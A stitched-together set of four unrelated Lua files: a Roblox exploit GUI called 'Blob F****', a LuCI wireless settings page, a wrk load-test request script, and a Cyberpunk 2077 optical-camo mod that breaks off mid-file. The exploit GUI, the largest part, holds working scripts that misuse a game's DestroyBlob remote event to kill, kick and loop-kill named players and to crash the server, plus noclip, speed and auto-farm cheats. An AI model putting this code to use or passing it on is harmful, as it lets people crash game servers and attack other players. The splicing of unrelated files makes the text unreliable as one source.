Console.Image = "rbxassetid://2271525432"
Console.ImageColor3 = Color3.new(0.905882, 0.67451, 0.345098)
Console.ScaleType = Enum.ScaleType.Slice
Console.SliceCenter = Rect.new(7, 7, 8, 8)
Name.Name = "Name"
Name.Parent = Console
Name.BackgroundColor3 = Color3.new(1, 1, 1)
Name.BackgroundTransparency = 1
Name.Position = UDim2.new(0.0361857079, 0, 0, 0)
Name.Size = UDim2.new(0.887990057, 0, 0.99999994, 0)
Name.Font = Enum.Font.SourceSansLight
Name.Text = "Console"
Name.TextColor3 = Color3.new(1, 1, 1)
Name.TextScaled = true
Name.TextSize = 14
Name.TextWrapped = true
Frame.Parent = Console
Frame.BackgroundColor3 = Color3.new(0, 0, 0)
Frame.BackgroundTransparency = 0.69999998807907
Frame.BorderSizePixel = 0
Frame.Position = UDim2.new(-0.00145841262, 0, 0.897360325, 0)
Frame.Size = UDim2.new(1.00145864, 0, 2.94737792, 0)
Frame.ZIndex = 0
crasher.Name = "crasher"
crasher.Parent = Frame
crasher.BackgroundColor3 = Color3.new(1, 1, 1)
crasher.BackgroundTransparency = 1
crasher.Position = UDim2.new(0.0411044806, 0, 0.0470752679, 0)
crasher.Size = UDim2.new(0.92900008, 0, 0.314996094, 0)
crasher.Font = Enum.Font.SourceSansLight
crasher.Text = "> Sever crasher"
crasher.TextColor3 = Color3.new(1, 1, 1)
crasher.TextScaled = true
crasher.TextSize = 14
crasher.TextWrapped = true
crasher.TextXAlignment = Enum.TextXAlignment.Left
killaura.Name = "killaura"
killaura.Parent = Frame
killaura.BackgroundColor3 = Color3.new(1, 1, 1)
killaura.BackgroundTransparency = 1
killaura.Position = UDim2.new(0.0411044806, 0, 0.356002927, 0)
killaura.Size = UDim2.new(0.92900008, 0, 0.314996094, 0)
killaura.Font = Enum.Font.SourceSansLight
killaura.Text = "> Kill Aura"
killaura.TextColor3 = Color3.new(1, 1, 1)
killaura.TextScaled = true
killaura.TextSize = 14
killaura.TextWrapped = true
killaura.TextXAlignment = Enum.TextXAlignment.Left
unlockall.Name = "unlockall"
unlockall.Parent = Frame
unlockall.BackgroundColor3 = Color3.new(1, 1, 1)
unlockall.BackgroundTransparency = 1
unlockall.Position = UDim2.new(0.0411044806, 0, 0.636358857, 0)
unlockall.Size = UDim2.new(0.92900008, 0, 0.314996094, 0)
unlockall.Font = Enum.Font.SourceSansLight
unlockall.Text = "> Unlock all levels"
unlockall.TextColor3 = Color3.new(1, 1, 1)
unlockall.TextScaled = true
unlockall.TextSize = 14
unlockall.TextWrapped = true
unlockall.TextXAlignment = Enum.TextXAlignment.Left
Others.Name = "Others"
Others.Parent = BlobF
Others.BackgroundColor3 = Color3.new(1, 1, 1)
Others.BackgroundTransparency = 1
Others.Position = UDim2.new(0.114781551, 0, 0.0661875829, 0)
Others.Size = UDim2.new(0.0924315676, 0, 0.036724776, 0)
Others.Image = "rbxassetid://2271525432"
Others.ImageColor3 = Color3.new(0.905882, 0.67451, 0.345098)
Others.ScaleType = Enum.ScaleType.Slice
Others.SliceCenter = Rect.new(7, 7, 8, 8)
Name_2.Name = "Name"
Name_2.Parent = Others
Name_2.BackgroundColor3 = Color3.new(1, 1, 1)
Name_2.BackgroundTransparency = 1
Name_2.Position = UDim2.new(0.049186863, 0, 0, 0)
Name_2.Size = UDim2.new(0.887990057, 0, 0.99999994, 0)
Name_2.Font = Enum.Font.SourceSansLight
Name_2.Text = "Others"
Name_2.TextColor3 = Color3.new(1, 1, 1)
Name_2.TextScaled = true
Name_2.TextSize = 14
Name_2.TextWrapped = true
Frame_2.Parent = Others
Frame_2.BackgroundColor3 = Color3.new(0, 0, 0)
Frame_2.BackgroundTransparency = 0.69999998807907
Frame_2.BorderSizePixel = 0
Frame_2.Position = UDim2.new(-0.000999874785, 0, 0.892000556, 0)
Frame_2.Size = UDim2.new(1.00100005, 0, 3.6005125, 0)
Frame_2.ZIndex = 0
killone.Name = "killone"
killone.Parent = Frame_2
killone.BackgroundColor3 = Color3.new(1, 1, 1)
killone.BackgroundTransparency = 1
killone.Position = UDim2.new(0.0237563457, 0, 0.0880953223, 0)
killone.Size = UDim2.new(0.976243615, 0, 0.230374545, 0)
killone.Font = Enum.Font.SourceSansLight
killone.Text = "> Kill"
killone.TextColor3 = Color3.new(1, 1, 1)
killone.TextScaled = true
killone.TextSize = 14
killone.TextWrapped = true
killone.TextXAlignment = Enum.TextXAlignment.Left
kick.Name = "kick"
kick.Parent = Frame_2
kick.BackgroundColor3 = Color3.new(1, 1, 1)
kick.BackgroundTransparency = 1
kick.Position = UDim2.new(0.0237563457, 0, 0.31403175, 0)
kick.Size = UDim2.new(0.976243615, 0, 0.230374545, 0)
kick.Font = Enum.Font.SourceSansLight
kick.Text = "> Kick"
kick.TextColor3 = Color3.new(1, 1, 1)
kick.TextScaled = true
kick.TextSize = 14
kick.TextWrapped = true
kick.TextXAlignment = Enum.TextXAlignment.Left
killothers.Name = "killothers"
killothers.Parent = Frame_2
killothers.BackgroundColor3 = Color3.new(1, 1, 1)
killothers.BackgroundTransparency = 1
killothers.Position = UDim2.new(0.0467314422, 0, 0.537998676, 0)
killothers.Size = UDim2.new(0.976243615, 0, 0.230374545, 0)
killothers.Font = Enum.Font.SourceSansLight
killothers.Text = "> Kill all"
killothers.TextColor3 = Color3.new(1, 1, 1)
killothers.TextScaled = true
killothers.TextSize = 14
killothers.TextWrapped = true
killothers.TextXAlignment = Enum.TextXAlignment.Left
loopkill.Name = "loopkill"
loopkill.Parent = Frame_2
loopkill.BackgroundColor3 = Color3.new(1, 1, 1)
loopkill.BackgroundTransparency = 1
loopkill.Position = UDim2.new(0.0467314422, 0, 0.760977387, 0)
loopkill.Size = UDim2.new(0.976243615, 0, 0.230374545, 0)
loopkill.Font = Enum.Font.SourceSansLight
loopkill.Text = "> Loopkill"
loopkill.TextColor3 = Color3.new(1, 1, 1)
loopkill.TextScaled = true
loopkill.TextSize = 14
loopkill.TextWrapped = true
loopkill.TextXAlignment = Enum.TextXAlignment.Left
LocalPlayer.Name = "LocalPlayer"
LocalPlayer.Parent = BlobF
LocalPlayer.BackgroundColor3 = Color3.new(1, 1, 1)
LocalPlayer.BackgroundTransparency = 1
LocalPlayer.Position = UDim2.new(0.215399548, 0, 0.0661875829, 0)
LocalPlayer.Size = UDim2.new(0.0924315676, 0, 0.036724776, 0)
LocalPlayer.Image = "rbxassetid://2271525432"
LocalPlayer.ImageColor3 = Color3.new(0.905882, 0.67451, 0.345098)
LocalPlayer.ScaleType = Enum.ScaleType.Slice
LocalPlayer.SliceCenter = Rect.new(7, 7, 8, 8)
Name_3.Name = "Name"
Name_3.Parent = LocalPlayer
Name_3.BackgroundColor3 = Color3.new(1, 1, 1)
Name_3.BackgroundTransparency = 1
Name_3.Position = UDim2.new(0.0361857079, 0, 0, 0)
Name_3.Size = UDim2.new(0.887990057, 0, 0.99999994, 0)
Name_3.Font = Enum.Font.SourceSansLight
Name_3.Text = "Local Player"
Name_3.TextColor3 = Color3.new(1, 1, 1)
Name_3.TextScaled = true
Name_3.TextSize = 14
Name_3.TextWrapped = true
Frame_3.Parent = LocalPlayer
Frame_3.BackgroundColor3 = Color3.new(0, 0, 0)
Frame_3.BackgroundTransparency = 0.69999998807907
Frame_3.BorderSizePixel = 0
Frame_3.Position = UDim2.new(-0.00145826978, 0, 0.897359788, 0)
Frame_3.Size = UDim2.new(1.00145864, 0, 5.92456675, 0)
Frame_3.ZIndex = 0
LoopJump.Name = "LoopJump"
LoopJump.Parent = Frame_3
LoopJump.BackgroundColor3 = Color3.new(1, 1, 1)
LoopJump.BackgroundTransparency = 1
LoopJump.Position = UDim2.new(0.041553922, 0, 0.16669023, 0)
LoopJump.Size = UDim2.new(0.976000011, 0, 0.156529069, 0)
LoopJump.Font = Enum.Font.SourceSansLight
LoopJump.Text = "> Infinite Jump"
LoopJump.TextColor3 = Color3.new(1, 1, 1)
LoopJump.TextScaled = true
LoopJump.TextSize = 14
LoopJump.TextWrapped = true
LoopJump.TextXAlignment = Enum.TextXAlignment.Left
Noclip.Name = "Noclip"
Noclip.Parent = Frame_3
Noclip.BackgroundColor3 = Color3.new(1, 1, 1)
Noclip.BackgroundTransparency = 1
Noclip.Position = UDim2.new(0.0317261629, 0, 0.308809727, 0)
Noclip.Size = UDim2.new(0.976243436, 0, 0.156659752, 0)
Noclip.Font = Enum.Font.SourceSansLight
Noclip.Text = "> Noclip [B]"
Noclip.TextColor3 = Color3.new(1, 1, 1)
Noclip.TextScaled = true
Noclip.TextSize = 14
Noclip.TextWrapped = true
Noclip.TextXAlignment = Enum.TextXAlignment.Left
Walkspeed.Name = "Walkspeed"
Walkspeed.Parent = Frame_3
Walkspeed.BackgroundColor3 = Color3.new(1, 1, 1)
Walkspeed.BackgroundTransparency = 1
Walkspeed.Position = UDim2.new(0.0415536538, 0, 0.0234192666, 0)
Walkspeed.Size = UDim2.new(1.00176716, 0, 0.139149085, 0)
Walkspeed.Font = Enum.Font.SourceSansLight
Walkspeed.Text = "> Speed"
Walkspeed.TextColor3 = Color3.new(1, 1, 1)
Walkspeed.TextScaled = true
Walkspeed.TextSize = 14
Walkspeed.TextWrapped = true
Walkspeed.TextXAlignment = Enum.TextXAlignment.Left
equip.Name = "equip"
equip.Parent = Frame_3
equip.BackgroundColor3 = Color3.new(1, 1, 1)
equip.BackgroundTransparency = 1
equip.Position = UDim2.new(0.0495236181, 0, 0.455844939, 0)
equip.Size = UDim2.new(0.976000011, 0, 0.156529069, 0)
equip.Font = Enum.Font.SourceSansLight
equip.Text = "> Equip"
equip.TextColor3 = Color3.new(1, 1, 1)
equip.TextScaled = true
equip.TextSize = 14
equip.TextWrapped = true
equip.TextXAlignment = Enum.TextXAlignment.Left
Blob.Name = "Blob"
Blob.Parent = Frame_3
Blob.BackgroundColor3 = Color3.new(0, 0, 0)
Blob.BackgroundTransparency = 0.69999998807907
Blob.Position = UDim2.new(0.0237561949, 0, 0.609040201, 0)
Blob.Size = UDim2.new(0.939719379, 0, 0.156529069, 0)
Blob.Font = Enum.Font.SourceSans
Blob.Text = "Enter blob name here"
Blob.TextColor3 = Color3.new(1, 1, 1)
Blob.TextScaled = true
Blob.TextSize = 14
Blob.TextWrapped = true
autofarm.Name = "autofarm"
autofarm.Parent = Frame_3
autofarm.BackgroundColor3 = Color3.new(1, 1, 1)
autofarm.BackgroundTransparency = 1
autofarm.Position = UDim2.new(0.0495236181, 0, 0.807269871, 0)
autofarm.Size = UDim2.new(0.976000011, 0, 0.156529069, 0)
autofarm.Font = Enum.Font.SourceSansLight
autofarm.Text = "> AUTO FARM | OFF"
autofarm.TextColor3 = Color3.new(1, 1, 1)
autofarm.TextScaled = true
autofarm.TextSize = 14
autofarm.TextWrapped = true
autofarm.TextXAlignment = Enum.TextXAlignment.Left
Credits.Name = "Credits"
Credits.Parent = BlobF
Credits.BackgroundColor3 = Color3.new(0, 0, 0)
Credits.BackgroundTransparency = 1
Credits.Position = UDim2.new(0.0884589553, 0, 0.0171989724, 0)
Credits.Size = UDim2.new(0.211850137, 0, 0.0479115434, 0)
Credits.Font = Enum.Font.SciFi
Credits.Text = "Made by: Not Phoenix#2308"
Credits.TextColor3 = Color3.new(1, 1, 1)
Credits.TextSize = 16
Credits.TextStrokeColor3 = Color3.new(0.337255, 0.337255, 0.337255)
Credits.TextStrokeTransparency = 0.60000002384186
Credits.TextWrapped = true
GuiName.Name = "GuiName"
GuiName.Parent = BlobF
GuiName.BackgroundColor3 = Color3.new(0, 0, 0)
GuiName.BackgroundTransparency = 1
GuiName.Position = UDim2.new(0.0135916593, 0, 0.0171989724, 0)
GuiName.Size = UDim2.new(0.0982948467, 0, 0.0479115434, 0)
GuiName.Font = Enum.Font.SciFi
GuiName.Text = "Blob F****"
GuiName.TextColor3 = Color3.new(0.905882, 0.67451, 0.345098)
GuiName.TextScaled = true
GuiName.TextSize = 14
GuiName.TextStrokeTransparency = 0.60000002384186
GuiName.TextWrapped = true
PlayerName.Name = "PlayerName"
PlayerName.Parent = BlobF
PlayerName.BackgroundColor3 = Color3.new(1, 1, 1)
PlayerName.BackgroundTransparency = 1
PlayerName.Position = UDim2.new(0.324851394, 0, 0.739137471, 0)
PlayerName.Size = UDim2.new(0.0924315676, 0, 0.036724776, 0)
PlayerName.Image = "rbxassetid://2271525432"
PlayerName.ImageColor3 = Color3.new(0.905882, 0.67451, 0.345098)
PlayerName.ScaleType = Enum.ScaleType.Slice
PlayerName.SliceCenter = Rect.new(7, 7, 8, 8)
Name_4.Name = "Name"
Name_4.Parent = PlayerName
Name_4.BackgroundColor3 = Color3.new(1, 1, 1)
Name_4.BackgroundTransparency = 1
Name_4.Position = UDim2.new(0.049186863, 0, 0, 0)
Name_4.Size = UDim2.new(0.887990057, 0, 0.99999994, 0)
Name_4.Font = Enum.Font.SourceSansLight
Name_4.Text = "Player"
Name_4.TextColor3 = Color3.new(1, 1, 1)
Name_4.TextScaled = true
Name_4.TextSize = 14
Name_4.TextWrapped = true
Frame_4.Parent = PlayerName
Frame_4.BackgroundColor3 = Color3.new(0, 0, 0)
Frame_4.BackgroundTransparency = 0.69999998807907
Frame_4.BorderSizePixel = 0
Frame_4.Position = UDim2.new(0.949663222, 0, -0.0261258669, 0)
Frame_4.Size = UDim2.new(2.31275654, 0, 1.0261302, 0)
Frame_4.ZIndex = 0
TextBox.Parent = Frame_4
TextBox.BackgroundColor3 = Color3.new(1, 1, 1)
TextBox.BackgroundTransparency = 1
TextBox.Position = UDim2.new(1.17592911e-07, 0, 0, 0)
TextBox.Size = UDim2.new(1, 0, 1.00000072, 0)
TextBox.Font = Enum.Font.SourceSans
TextBox.Text = "Player name here"
TextBox.TextColor3 = Color3.new(1, 1, 1)
TextBox.TextSize = 14
TextBox.TextStrokeTransparency = 0
-- Scripts:
function SCRIPT_GECH87_FAKESCRIPT() -- crasher.LocalScript
local script = Instance.new('LocalScript')
script.Parent = crasher
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(workspace:GetChildren()) do
game.ReplicatedStorage.Events.DestroyBlob:FireServer(v)
end
end)
end
coroutine.resume(coroutine.create(SCRIPT_GECH87_FAKESCRIPT))
function SCRIPT_PHKK88_FAKESCRIPT() -- killaura.LocalScript
print("Will be added back soon!")
end
coroutine.resume(coroutine.create(SCRIPT_PHKK88_FAKESCRIPT))
function SCRIPT_BBBE65_FAKESCRIPT() -- unlockall.LocalScript
local script = Instance.new('LocalScript')
script.Parent = unlockall
script.Parent.MouseButton1Click:Connect(function()
local one = game.Workspace.GameComponents.Zones.Realm2.Door
local two2 = game.Workspace.GameComponents.Zones.Realm3.Door
local two3 = game.Workspace.GameComponents.Zones.Realm4.Door
local two4 = game.Workspace.GameComponents.Zones.Realm5.Door
local two5 = game.Workspace.GameComponents.Zones.Realm6.Door
local two6 = game.Workspace.GameComponents.Zones.Realm7.Door
local two7 = game.Workspace.GameComponents.Zones.Realm8.Door
local two8 = game.Workspace.GameComponents.Zones.Realm9.Door
local two9 = game.Workspace.GameComponents.Zones.Realm10.Door
local two10 = game.Workspace.GameComponents.Zones.Realm11.Door
game.ReplicatedStorage.Events.DestroyBlob:FireServer(one)
game.ReplicatedStorage.Events.DestroyBlob:FireServer(two2)
game.ReplicatedStorage.Events.DestroyBlob:FireServer(two3)
game.ReplicatedStorage.Events.DestroyBlob:FireServer(two4)
game.ReplicatedStorage.Events.DestroyBlob:FireServer(two5)
game.ReplicatedStorage.Events.DestroyBlob:FireServer(two6)
game.ReplicatedStorage.Events.DestroyBlob:FireServer(two7)
game.ReplicatedStorage.Events.DestroyBlob:FireServer(two8)
game.ReplicatedStorage.Events.DestroyBlob:FireServer(two9)
game.ReplicatedStorage.Events.DestroyBlob:FireServer(two10)
warn("Done! You can now acces all levels")
end)
end
coroutine.resume(coroutine.create(SCRIPT_BBBE65_FAKESCRIPT))
function SCRIPT_LFYQ85_FAKESCRIPT() -- killone.LocalScript
local script = Instance.new('LocalScript')
script.Parent = killone
script.Parent.MouseButton1Click:Connect(function()
local plr = script.Parent.Parent.Parent.Parent.PlayerName.Frame.TextBox
game.ReplicatedStorage.Events.DestroyBlob:FireServer(game.Players[plr.Text].Character.Head)
end)
end
coroutine.resume(coroutine.create(SCRIPT_LFYQ85_FAKESCRIPT))
function SCRIPT_QNPY67_FAKESCRIPT() -- kick.LocalScript
local script = Instance.new('LocalScript')
script.Parent = kick
script.Parent.MouseButton1Click:Connect(function()
local plr = script.Parent.Parent.Parent.Parent.PlayerName.Frame.TextBox
game.ReplicatedStorage.Events.DestroyBlob:FireServer(game.Players[plr.Text])
end)
end
coroutine.resume(coroutine.create(SCRIPT_QNPY67_FAKESCRIPT))
function SCRIPT_BDTB90_FAKESCRIPT() -- killothers.LocalScript
local script = Instance.new('LocalScript')
script.Parent = killothers
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game.Players:GetChildren()) do
game.ReplicatedStorage.Events.DestroyBlob:FireServer(v.Character.Head)
end
end)
end
coroutine.resume(coroutine.create(SCRIPT_BDTB90_FAKESCRIPT))
function SCRIPT_NVZC87_FAKESCRIPT() -- loopkill.LocalScript
local script = Instance.new('LocalScript')
script.Parent = loopkill
function run(muhaha)
local plr = script.Parent.Parent.Parent.Parent.PlayerName.Frame.TextBox
while true do
game.ReplicatedStorage.Events.DestroyBlob:FireServer(game.Players[plr.Text].Character.Head)
wait(7)
end
end
script.Parent.MouseButton1Click:Connect(run)
end
coroutine.resume(coroutine.create(SCRIPT_NVZC87_FAKESCRIPT))
function SCRIPT_IMMF71_FAKESCRIPT() -- LoopJump.LocalScript
local script = Instance.new('LocalScript')
script.Parent = LoopJump
script.Parent.MouseButton1Click:Connect(function()
game:GetService("UserInputService").JumpRequest:connect(function()
game:GetService"Players".LocalPlayer.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping")
end)
end)
end
coroutine.resume(coroutine.create(SCRIPT_IMMF71_FAKESCRIPT))
function SCRIPT_KHZE76_FAKESCRIPT() -- Noclip.LocalScript
local script = Instance.new('LocalScript')
script.Parent = Noclip
local noclipplayer = game:GetService("Players").LocalPlayer
local noclipmouse = noclipplayer:GetMouse()
local donoclip = false
local noclip = false
function b_noclip(key)
if (key == "b") then
if noclip == false then
donoclip = true
noclip = true
elseif noclip == true then
donoclip = false
noclip = false
end
end
end
noclipmouse.KeyDown:connect(b_noclip)
game:GetService("Players").LocalPlayer.Character.Head.Touched:connect(function(obj)
if obj ~= workspace.Terrain then
if donoclip == true then
obj.CanCollide = false
else
obj.CanCollide = true
end
end
end)
end
coroutine.resume(coroutine.create(SCRIPT_KHZE76_FAKESCRIPT))
function SCRIPT_BSLM65_FAKESCRIPT() -- Walkspeed.LocalScript
local script = Instance.new('LocalScript')
script.Parent = Walkspeed
local plr = game.Players.LocalPlayer
script.Parent.MouseButton1Click(function()
plr.Character.Humanoid.WalkSpeed.Value = "50"
end)
end
coroutine.resume(coroutine.create(SCRIPT_BSLM65_FAKESCRIPT))
function SCRIPT_NXTK79_FAKESCRIPT() -- equip.LocalScript
local script = Instance.new('LocalScript')
script.Parent = equip
script.Parent.MouseButton1Click:connect(function()
game.ReplicatedStorage.Events.EquipBlob:FireServer(game.ReplicatedStorage.Blobs[script.Parent.Parent.Blob.Text])
end)
end
coroutine.resume(coroutine.create(SCRIPT_NXTK79_FAKESCRIPT))
function SCRIPT_QGBS78_FAKESCRIPT() -- autofarm.LocalScript
local script = Instance.new('LocalScript')
script.Parent = autofarm
local on = false
script.Parent.MouseButton1Click:connect(function()
if on == false then
on = true
script.Parent.Text = "> Auto Farm | ON"
elseif on == true then
on = false
script.Parent.Text = "> Auto Farm | OFF"
end
repeat
wait()
local min = tonumber(1)
local max = tonumber(999999999)
for _,v in pairs(game.Workspace:GetChildren()) do
for _,c in pairs(v:GetChildren()) do
if c.Name ~= "CoinRegion" then
for _,b in pairs(c:GetChildren()) do
if b:FindFirstChild("Stats") ~= nil then
if b.Stats.Health.Value > min -1 and b.Stats.Health.Value < max +1 then
if script.Parent.Text == "> Auto Farm | ON" then
wait(1)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = b.CFrame
local A_1 = b
local A_2 = "click"
local Event = game:GetService("ReplicatedStorage").BlobModule.BlobClick
Event:FireServer(A_1, A_2)
wait(1)
if b:FindFirstChild("Damagers") ~= nil then
if b.Damagers:FindFirstChild(game.Players.LocalPlayer.Name) ~= nil then
if b:WaitForChild("Damagers"):WaitForChild(game.Players.LocalPlayer.Name).Value >= b.Stats.Health.Value then
warn("done")
end
end
end
end
end
end
end
end
end
end
until on == false
end)
end
coroutine.resume(coroutine.create(SCRIPT_QGBS78_FAKESCRIPT))
function SCRIPT_ULQH76_FAKESCRIPT() -- BlobF.Client
local script = Instance.new('LocalScript')
script.Parent = BlobF
script.Parent.Console.Active = true
script.Parent.Console.Draggable = true
script.Parent.Others.Active = true
script.Parent.Others.Draggable = true
script.Parent.LocalPlayer.Active = true
script.Parent.LocalPlayer.Draggable = true
warn("Blob F**** has successfully loaded")
end
coroutine.resume(coroutine.create(SCRIPT_ULQH76_FAKESCRIPT)) |
--[[
LuCI - Lua Configuration Interface
Copyright 2009 Steven Barth <steven@midlink.org>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
$Id$
]]--
local niulib = require "luci.niulib"
local cursor = require "luci.model.uci".inst
m = Map("wireless", translate("Configure Private Access Point"))
s = m:section(NamedSection, "ap", "wifi-iface", translate("Wireless Radio Device"),
translate(
"Select the wireless radio device that should be used to run the interface."..
" Note that wireless radios will not show up here if you already use"..
" them for other wireless services and are not capable of being used by"..
" more than one service simultaneously or run this specific service at all."))
s.anonymous = true
s.addremove = false
local l = s:option(ListValue, "device", translate("Wireless Device"))
for _, wifi in ipairs(niulib.wifi_get_available("ap")) do
l:value(wifi, translate("WLAN-Adapter (%s)") % wifi)
end
l:value("none", translate("Disable Private Access Point"))
local extend = cursor:get("wireless", "bridge", "network")
and cursor:get("wireless", "bridge", "ssid")
if extend ~= cursor:get("wireless", "ap", "ssid") then
local templ = s:option(ListValue, "_cfgtpl", translate("Configuration Template"))
templ:depends({["!default"] = 1})
templ:depends({["!reverse"] = 1, device = "none"})
templ:value("", translate("Access Point (Current Settings)"))
templ:value("bridge", translate("Extend network %s") % extend)
end
return m
|
-- Module instantiation
package.cpath=package.cpath .. ';/usr/local/lib/visual_wrk/?.so'
package.path=package.path .. ';/usr/local/lib/visual_wrk/?.lua'
local cjson = require "cjson"
local cjson2 = cjson.new()
local cjson_safe = require "cjson.safe"
local mime = require "mime"
-- Initialize the pseudo random number generator
-- Resource: http://lua-users.org/wiki/MathLibraryTutorial
math.randomseed(os.time())
math.random(); math.random(); math.random()
-- Shuffle array
-- Returns a randomly shuffled array
function shuffle(paths)
local j, k
local n = #paths
for i = 1, n do
j, k = math.random(n), math.random(n)
paths[j], paths[k] = paths[k], paths[j]
end
return paths
end
function shuffle_labels_by_weight(label_table, weight_table)
local offset = 0
local labels = {}
local n = #label_table
for i = 1, n do
local label = label_table[i]
local weight = weight_table[label]
for j = 1, weight do
labels[j + offset] = label
end
offset = offset + weight
end
return shuffle(labels)
end
function decode_json_from_file(file)
local data = {}
local content
if file == nil then
return lines;
end
-- Check if the file exists
-- Resource: http://stackoverflow.com/a/4991602/325852
local f=io.open(file,"r")
if f~=nil then
content = f:read("*all")
io.close(f)
else
-- Return the empty array
return lines
end
-- Translate Lua value to/from JSON
data = cjson.decode(content)
return data
end
g_json_data = decode_json_from_file(c_json_file)
-- Load URL paths from the file
function load_request_objects_from_data()
if g_json_data == nil or next(g_json_data) == nil then
return lines
end
local mixed_requests = {}
local mixed_counter = {}
local mixed_labels = {}
if g_json_data["mixed_test"] ~=nil then
local mixed_test_json = g_json_data["mixed_test"]
local mixed_file_num = #mixed_test_json
local mixed_label = {}
local mixed_weight = {}
for i = 1, mixed_file_num do
local single_test_json = mixed_test_json[i]
mixed_label[i] = single_test_json["label"]
json_tmp = decode_json_from_file(single_test_json["file"])
if json_tmp == nil then
os.exit()
end
local requests = shuffle(json_tmp["request"])
if requests == nill then
os.exit()
end
mixed_requests[mixed_label[i]] = requests
mixed_counter[mixed_label[i]] = 1;
mixed_weight[mixed_label[i]] = single_test_json["weight"]
end
mixed_labels = shuffle_labels_by_weight(mixed_label, mixed_weight)
else
if next(g_json_data["request"]) == nil then
return lines
end
mixed_requests["default"] = shuffle(g_json_data["request"])
mixed_counter["default"] = 1;
end
return mixed_requests, mixed_counter, mixed_labels
end
-- Load URL requests from file
g_mixed_requests, g_mixed_counter, g_mixed_labels = load_request_objects_from_data()
g_mixed_label_counter = 1
-- Initialize the requests array iterator
request = function()
local label = g_mixed_labels[g_mixed_label_counter]
if label ~= nil then
g_mixed_label_counter = g_mixed_label_counter + 1
if g_mixed_label_counter > #g_mixed_labels then
g_mixed_label_counter = 1
end
else
label = "default"
end
-- Get the next requests array element
local request_object = g_mixed_requests[label][g_mixed_counter[label]]
-- Increment the counter
g_mixed_counter[label] = g_mixed_counter[label] + 1
-- If the counter is longer than the requests array length then reset it
if g_mixed_counter[label] > #g_mixed_requests[label] then
g_mixed_counter[label] = 1
end
local body
if request_object.bodyType == "base64" then
body = mime.unb64(request_object.body)
else
body = request_object.body
end
-- Return the request object with the current URL path
return wrk.format(request_object.method, request_object.path, request_object.headers, body)
end
|
-- Better Optical Camo
-- Copyright (c) 2022 Lukas Berger
-- MIT License (See LICENSE.md)
local defaultOpticalCamoCooldown = 0.5
local defaultOpticalCamoDurationIsInfinite = false
local defaultOpticalCamoDuration = 45
local defaultEnableToggling = true
local defaultDeactivateOnVehicleEnter = false
local GameUI = require('lib/GameUI')
local settings = {
opticalCamoCooldown = defaultOpticalCamoCooldown,
opticalCamoDurationIsInfinite = defaultOpticalCamoDurationIsInfinite,
opticalCamoDuration = defaultOpticalCamoDuration,
enableToggling = defaultEnableToggling,
deactivateOnVehicleEnter = defaultDeactivateOnVehicleEnter
}
local pendingSettings = {
opticalCamoCooldown = defaultOpticalCamoCooldown,
opticalCamoDurationIsInfinite = defaultOpticalCamoDurationIsInfinite,
opticalCamoDuration = defaultOpticalCamoDuration,
enableToggling = defaultEnableToggling,
deactivateOnVehicleEnter = defaultDeactivateOnVehicleEnter
}
registerForEvent('onInit', function()
loadSettingsFromFile()
writeSettingsToFile()
applySettings()
createSettingsMenu()
-- observe for playing mount a vehicle
GameUI.Listen('VehicleEnter', function()
local player = Game.GetPlayer()
if (settings.deactivateOnVehicleEnter) then
deactivateOpticalCamo(player)
end
end)
-- toggle the cloak by pressing the combat gadget button again
Observe('PlayerPuppet', 'OnAction', function(_, action)
local player = Game.GetPlayer()
local actionName = Game.NameToString(ListenerAction.GetName(action))
local actionType = ListenerAction.GetType(action).value
if (settings.enableToggling and actionName == 'UseCombatGadget' and actionType == 'BUTTON_PRESSED' and isOpticalCamoActive(player)) then
deactivateOpticalCamo(player)
end
end)
-- compatibility with "Custom Quickslots" for toggling the cloak if selected
ObserveBefore('HotkeyItemController', 'UseEquippedItem', function(this)
local player = Game.GetPlayer()
if (settings.enableToggling and this:IsOpticalCamoCyberwareAbility() and isOpticalCamoActive(player)) then
deactivateOpticalCamo(player)
end
end)
print('[BetterOpticalCamo]', 'initialization done!')
end)
function applySettings()
-- set cloak cooldown duration
setFlatAndUpdate('BaseStatusEffect.OpticalCamoCooldown_inline1.value', settings.opticalCamoCooldown)
setFlatAndUpdate('BaseStatusEffect.OpticalCamoLegendaryCooldown_inline1.value', settings.opticalCamoCooldown)
-- set cloak duration
if (settings.opticalCamoDurationIsInfinite) then
setOpticalCamoDuration(-1)
else
setOpticalCamoDuration(settings.opticalCamoDuration)
end
end
function setOpticalCamoDuration(duration)
setFlatAndUpdate('BaseStatusEffect.OpticalCamoPlayerBuffEpic_inline1.value', duration)
setFlatAndUpdate('BaseStatusEffect.OpticalCamoPlayerBuffRare_inline1.value', duration)
setFlatAndUpdate('BaseStatusEffect.OpticalCamoPlayerBuffLegendary_inline1.value', duration)
end
function deactivateOpticalCamo(entity)
local entityID = entity:GetEntityID()
local statusEffectSystem = Game.GetStatusEffectSystem()
statusEffectSystem:RemoveStatusEffect(entityID, TweakDBID.new("BaseStatusEffect.Cloaked"))
statusEffectSystem:RemoveStatusEffect(entityID, TweakDBID.new("BaseStatusEffect.OpticalCamoPlayerBuffBase"))
statusEffectSystem:RemoveStatusEffect(entityID, TweakDBID.new("BaseStatusEffect.OpticalCamoPlayerBuffRare"))
statusEffectSystem:RemoveStatusEffect(entityID, TweakDBID.new("BaseStatusEffect.OpticalCamoPlayerBuffEpic"))
statusEffectSystem:RemoveStatusEffect(entityID, TweakDBID.new("BaseStatusEffect.OpticalCamoPlayerBuffLegendary"))
statusEffectSystem:RemoveStatusEffect(entityID, TweakDBID.new("BaseStatusEffect.PerfectCloak"))
end
function isOpticalCamoActive(entity)
local entityID = entity:GetEntityID()
local statusEffectSystem = Game.GetStatusEffectSystem()
return statusEffectSystem:HasStatusEffect(entityID, TweakDBID.new("BaseStatusEffect.Cloaked")) or
statusEffectSystem:HasStatusEffect(entityID, TweakDBID.new("BaseStatusEffect.OpticalCamoPlayerBuffBase")) or
statusEffectSystem:HasStatusEffect(entityID, TweakDBID.new("BaseStatusEffect.OpticalCamoPlayerBuffRare")) or
statusEffectSystem:HasStatusEffect(entityID, TweakDBID.new("BaseStatusEffect.OpticalCamoPlayerBuffEpic")) or
statusEffectSystem:HasStatusEffect(entityID, TweakDBID.new("BaseStatusEffect.OpticalCamoPlayerBuffLegendary")) or
statusEffectSystem:HasStatusEffect(entityID, TweakDBID.new("BaseStatusEffect.PerfectCloak"))
end
--------------------------------
--- Settings
